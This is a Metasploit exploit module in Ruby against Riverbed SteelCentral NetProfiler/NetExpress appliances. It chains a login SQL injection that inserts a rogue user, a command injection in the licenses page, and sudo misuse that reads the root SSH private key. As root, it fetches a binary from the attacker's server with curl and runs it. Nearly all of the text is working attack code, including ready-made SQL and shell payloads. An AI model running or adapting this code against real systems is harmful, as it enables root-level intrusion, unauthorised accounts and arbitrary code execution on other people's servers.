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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper require 'digest' def initialize(info={}) super(update_info(info, 'Name' => "Riverbed SteelCentral NetProfiler/NetExpress Remote Code Execution", 'Description'=> %q{ This module exploits three separate vulnerabilities found in the Riverbed SteelCentral NetProfiler/NetExpress virtual appliances to obtain remote command execution as the root user. A SQL injection in the login form can be exploited to add a malicious user into the application's database. An attacker can then exploit a command injection vulnerability in the web interface to obtain arbitrary code execution. Finally, an insecure configuration of the sudoers file can be abused to escalate privileges to root. }, 'License'=> MSF_LICENSE, 'Author' => [ 'Francesco Oddo <francesco.oddo[at]security-assessment.com>' ], 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Riverbed-SteelCentral-NetProfilerNetExpress-Advisory.pdf' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86_64, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets'=> [ [ 'Riverbed SteelCentral NetProfiler 10.8.7 / Riverbed NetExpress 10.8.7', { }] ], 'DefaultOptions' => { 'SSL' => true }, 'Privileged' => false, 'DisclosureDate' => "Jun 27 2016", 'DefaultTarget'=> 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The target URI', '/']), OptString.new('RIVERBED_USER', [true, 'Web interface user account to add', 'user']), OptString.new('RIVERBED_PASSWORD', [true, 'Web interface user password', 'riverbed']), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), Opt::RPORT(443) ], self.class ) end def check json_payload_check = "{\"username\":\"check_vulnerable%'; SELECT PG_SLEEP(2)--\", \"password\":\"pwd\"}"; # Verifies existence of login SQLi res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), 'ctype' => 'application/json', 'encode_params' => false, 'data' => json_payload_check }) if res && res.body && res.body.include?('AUTH_DISABLED_ACCOUNT') return Exploit::CheckCode::Vulnerable end Exploit::CheckCode::Safe end def exploit print_status("Attempting log in to target appliance") @sessid = do_login print_status("Confirming command injection vulnerability") test_cmd_inject vprint_status('Ready to execute payload on appliance') @elf_sent = false # Generate payload @pl = generate_payload_exe if @pl.nil? fail_with(Failure::BadConfig, 'Please select a valid Linux payload') end # Start the server and use primer to trigger fetching and running of the payload begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error end end def get_nonce # Function to get nonce from login page res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'/index.php'), }) if res && res.body && res.body.include?('nonce_') html = res.get_html_document nonce_field = html.at('input[@name="nonce"]') nonce = nonce_field.attributes["value"] else fail_with(Failure::Unknown, 'Unable to get login nonce.') end # needed as login nonce is bounded to preauth SESSID cookie sessid_cookie_preauth = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' return [nonce, sessid_cookie_preauth] end def do_login uname = datastore['RIVERBED_USER'] passwd = datastore['RIVERBED_PASSWORD'] nonce, sessid_cookie_preauth = get_nonce post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php'), 'cookie' => "SESSID=#{sessid_cookie_preauth}", 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'data' => post_data }) # Exploit login SQLi if credentials are not valid. if res && res.body && res.body.include?('<form name="login"') print_status("Invalid credentials. Creating malicious user through login SQLi") create_user nonce, sessid_cookie_preauth = get_nonce post_data = "login=1&nonce=#{nonce}&uname=#{uname}&passwd=#{passwd}" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php'), 'cookie' => "SESSID=#{sessid_cookie_preauth}", 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'data' => post_data }) sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' print_status("Saving login credentials into Metasploit DB") report_cred(uname, passwd) else print_status("Valid login credentials provided. Successfully logged in") sessid_cookie = (res.get_cookies || '').scan(/SESSID=(\w+);/).flatten[0] || '' print_status("Saving login credentials into Metasploit DB") report_cred(uname, passwd) end return sessid_cookie end def report_cred(username, password) # Function used to save login credentials into Metasploit database service_data = { address: rhost, port: rport, service_name: ssl ? 'https' : 'http', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { module_fullname: self.fullname, origin_type: :service, username: username, private_data: password, private_type: :password }.merge(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL }.merge(service_data) create_credential_login(login_data) end def create_user # Function exploiting login SQLi to create a malicious user username = datastore['RIVERBED_USER'] password = datastore['RIVERBED_PASSWORD'] usr_payload = generate_sqli_payload(username) pwd_hash = Digest::SHA512.hexdigest(password) pass_payload = generate_sqli_payload(pwd_hash) uid = rand(999) json_payload_sqli = "{\"username\":\"adduser%';INSERT INTO users (username, password, uid) VALUES ((#{usr_payload}), (#{pass_payload}), #{uid});--\", \"password\":\"pwd\"}"; res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), 'ctype' => 'application/json', 'encode_params' => false, 'data' => json_payload_sqli }) json_payload_checkuser = "{\"username\":\"#{username}\", \"password\":\"#{password}\"}"; res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/api/common/1.0/login'), 'ctype' => 'application/json', 'encode_params' => false, 'data' => json_payload_checkuser }) if res && res.body && res.body.include?('session_id') print_status("User account successfully created, login credentials: '#{username}':'#{password}'") else fail_with(Failure::UnexpectedReply, 'Unable to add user to database') end end def generate_sqli_payload(input) # Function to generate sqli payload for user/pass in expected format payload = '' input_array = input.strip.split('') for index in 0..input_array.length-1 payload = payload << 'CHR(' + input_array[index].ord.to_s << ')||' end # Gets rid of the trailing '||' and newline payload = payload[0..-3] return payload end def test_cmd_inject post_data = "xjxfun=get_request_key&xjxr=1457064294787&xjxargs[]=Stoken; id;" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'), 'cookie' => "SESSID=#{@sessid}", 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'data' => post_data }) unless res && res.body.include?('uid=') fail_with(Failure::UnexpectedReply, 'Could not inject command, may not be vulnerable') end end def cmd_inject(cmd) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,'/index.php?page=licenses'), 'cookie' => "SESSID=#{@sessid}", 'ctype' => 'application/x-www-form-urlencoded', 'encode_params' => false, 'data' => cmd }) end # Deliver payload to appliance and make it run it def primer # Gets the autogenerated uri payload_uri = get_uri root_ssh_key_private = rand_text_alpha_lower(8) binary_payload = rand_text_alpha_lower(8) print_status("Privilege escalate to root and execute payload") privesc_exec_cmd = "xjxfun=get_request_key&xjxr=1457064346182&xjxargs[]=Stoken;sudo -u mazu /usr/mazu/bin/mazu-run /usr/bin/sudo /bin/date -f /opt/cascade/vault/ssh/root/id_rsa | cut -d ' ' -f 4- | tr -d '`' | tr -d \"'\" > /tmp/#{root_ssh_key_private}; chmod 600 /tmp/#{root_ssh_key_private}; ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -i /tmp/#{root_ssh_key_private} root@localhost '/usr/bin/curl -k #{payload_uri} -o /tmp/#{binary_payload}; chmod 755 /tmp/#{binary_payload}; /tmp/#{binary_payload}'" cmd_inject(privesc_exec_cmd) register_file_for_cleanup("/tmp/#{root_ssh_key_private}") register_file_for_cleanup("/tmp/#{binary_payload}") vprint_status('Finished primer hook, raising Timeout::Error manually') raise(Timeout::Error) end #Handle incoming requests from the server def on_request_uri(cli, request) vprint_status("on_request_uri called: #{request.inspect}") print_status('Sending the payload to the server...') @elf_sent = true send_response(cli, @pl) end end |
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